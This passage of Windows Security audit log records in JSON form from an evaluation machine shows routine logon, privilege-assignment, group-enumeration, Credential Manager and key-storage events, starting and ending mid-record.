Guid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x330","ProcessName":"C:\\Windows\\System32\\lsass.exe","IpAddress":"-","IpPort":"-"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.123647Z"}},"EventRecordID":21018,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonId":"0x5fbad","LogonType":2,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WINDEV2401EVAL","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x330","ProcessName":"C:\\Windows\\System32\\lsass.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.123676Z"}},"EventRecordID":21019,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5fbad","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.165955Z"}},"EventRecordID":21020,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x6d0","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4634,"Version":0,"Level":0,"Task":12545,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.282978Z"}},"EventRecordID":21021,"Correlation":null,"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonId":"0x5fbad","LogonType":2}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.309389Z"}},"EventRecordID":21022,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.309396Z"}},"EventRecordID":21023,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5382,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.849901Z"}},"EventRecordID":21024,"Correlation":null,"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","SchemaFriendlyName":"NGC Local Accoount Logon Vault Resource Schema","Schema":"1D4350A3-330D-4AF9-B3FF-A927A45998AC","Resource":"NGC Local Accoount Logon Vault Resource","Identity":"0105000000000005150000006DA8856DCAC92779BFB554B4E8030000","PackageSid":"","Flags":0,"ReturnCode":1168,"ProcessCreationTime":"2025-01-03T21:01:20.310315Z","ClientProcessId":5152}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.922337Z"}},"EventRecordID":21025,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonGuid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x84c","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"127.0.0.1","IpPort":"0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.922351Z"}},"EventRecordID":21026,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonId":"0x65dd3","LogonType":2,"LogonProcessName":"User32 ","AuthenticationPackageName":"Negotiate","WorkstationName":"WINDEV2401EVAL","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x84c","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"127.0.0.1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.922356Z"}},"EventRecordID":21027,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.947282Z"}},"EventRecordID":21028,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.959008Z"}},"EventRecordID":21029,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x6d0","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.991851Z"}},"EventRecordID":21030,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.991861Z"}},"EventRecordID":21031,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5058,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.137344Z"}},"EventRecordID":21032,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","ClientProcessId":5312,"ClientCreationTime":"2025-01-03T21:01:24.013778Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"UNKNOWN","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","KeyFilePath":"C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_16faf340-15ad-429b-a989-bbd781494976","Operation":"%%2458","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5061,"Version":0,"Level":0,"Task":12290,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.138392Z"}},"EventRecordID":21033,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2480","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5059,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.138709Z"}},"EventRecordID":21034,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","ClientProcessId":5312,"ClientCreationTime":"2025-01-03T21:01:24.013778Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2464","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5058,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.170794Z"}},"EventRecordID":21035,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ClientProcessId":5732,"ClientCreationTime":"2025-01-03T21:01:24.143874Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"UNKNOWN","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","KeyFilePath":"C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_16faf340-15ad-429b-a989-bbd781494976","Operation":"%%2458","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5061,"Version":0,"Level":0,"Task":12290,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.174949Z"}},"EventRecordID":21036,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2480","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5059,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.175405Z"}},"EventRecordID":21037,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ClientProcessId":5732,"ClientCreationTime":"2025-01-03T21:01:24.143874Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2464","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.286256Z"}},"EventRecordID":21038,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.286262Z"}},"EventRecordID":21039,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.831075Z"}},"EventRecordID":21040,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.840702Z"}},"EventRecordID":21041,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z"